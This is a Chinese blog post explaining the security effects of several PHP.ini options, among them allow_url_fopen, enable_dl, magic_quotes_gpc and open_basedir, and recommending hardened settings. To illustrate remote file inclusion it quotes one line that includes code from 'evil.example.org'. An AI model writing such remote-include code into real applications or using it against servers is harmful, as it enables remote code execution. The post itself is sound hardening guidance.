首页 > Php > PHP.ini中一些配置选项的说明

PHP.ini中一些配置选项的说明

 PHP的配置会影响你所写代码的行为以及你使用的技巧, PHP的配置主要由一个名为php.ini的文件所指定。该文件包含很多配置选项,每一项都会对PHP产生非常特定的影响。如果该文件不存在,或者该文件中的某选项不存在,则会使用默认值。

  如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )来确定PHP中对该文件路径的定义:

<?php
 phpinfo(); 
?>

显示的结果中“Loaded Configuration File ”显示了php.ini的完整路径。如果只显示了路径(没有文件名),这就意味着PHP无法在所示路径找到php.ini文件。

该文件包含的自身说明非常好,因此你可以阅读该文件并选择适合你的配置选项。而手册更是详细,所以在你需要某一选项的更多信息时,可以阅读这个:http://hk.php.net/manual/zh/ini.php

.1. allow_url_fopen

正如第六章所示,allow_url_fopen选项允许你如同本地文件一样引用远程资源:

<?php
  $contents = file_get_contents('http://example.org/xss.html');
?>

当它与include或require相结合时会有危险:

  <?php
  include 'http://evil.example.org/evil.inc';
  ?>

推荐关闭allow_url_fopen选项,除非你的应用需要它。
2. enable_dl

enable_dl选项用于控制dl()函数是否生效,该函数允许在运行时加载PHP扩展。

使用dl()函数可能导致攻击者绕过open_basedir限制,因此除非有必要,你必须在你的应用中禁止它。

3. file_uploads

file_uploads选项决定了是否允许上传文件。因此,如果你的应用不需要用户上传文件,那么关闭该选项就是最好的选择。

只是简单地在PHP代码中不对上传文件进行处理是不够的,因为在执行你的代码前,PHP就做了一些工作(如根据相关部据生成$_FILES数组)。

4. log_errors

当log_errors设为有效时,PHP会向error_log配置选项指定的文件中写入所有出错信息。

当display_errors设为无效时,将log_errors设为有效是很重要的;否则你将无法看到睛出错信息。

建议将log_errors设为有效并在error_log设定日志文件所在位置。

5. magic_quotes_gpc

magic_quotes_gpc是一个常用的选项,它目的是防止SQL注入。但出于很多原因,包括它转义输入的方式,证明了它是不完善的。

它对$_GET, $_POST, 以及 $_COOKIE中的数据使用同样的规则即addslashes( )函数进行处理。从而,它并没有根据你的数据库选用对应的转义函数进行处理。

基于两个主要的原因,你需要把get_magic_quotes_gpc设为无效:

首先,它会加大你的输入过滤逻辑的复杂性,这是由于它在执行你的代码前首先对数据进行了编辑。例如,你需要对输入的姓名进行过滤,其逻辑是只允许字母、空格、连词符以及单引号,当magic_quotes_gpc生效时,你必须适应形如O’Reilly的姓名或者使用stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性,同时,你的输入过滤机制中的缺陷必然会导致安全漏洞。

其次,它并没有根据你的数据库选用对应的转义函数进行处理。这样,由于它可以抵挡一些低层次或偶发的攻击,掩盖了它是一个糟糕的过滤或转义机制这个事实,从而留下了一个安全漏洞,使你的应用无法抵挡如针对字符集的攻击等更复杂的攻击手段。

6.open_basedir

open_basedir选项会限制PHP只能在它指定的目录中打开文件。尽管它不能取代正确的输入过滤,但该选项能减少利用文件系统相关函数如include及require进行的攻击。

该选项的值会被当做前缀使用,因此当你想表示指定目录时请小心不要漏了最后的斜杠:

  open_basedir = /path/to/
  1. 还没有评论
评论提交中, 请稍候...

留言

可以使用的标签: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>
Trackbacks & Pingbacks ( 0 )
  1. 还没有 trackbacks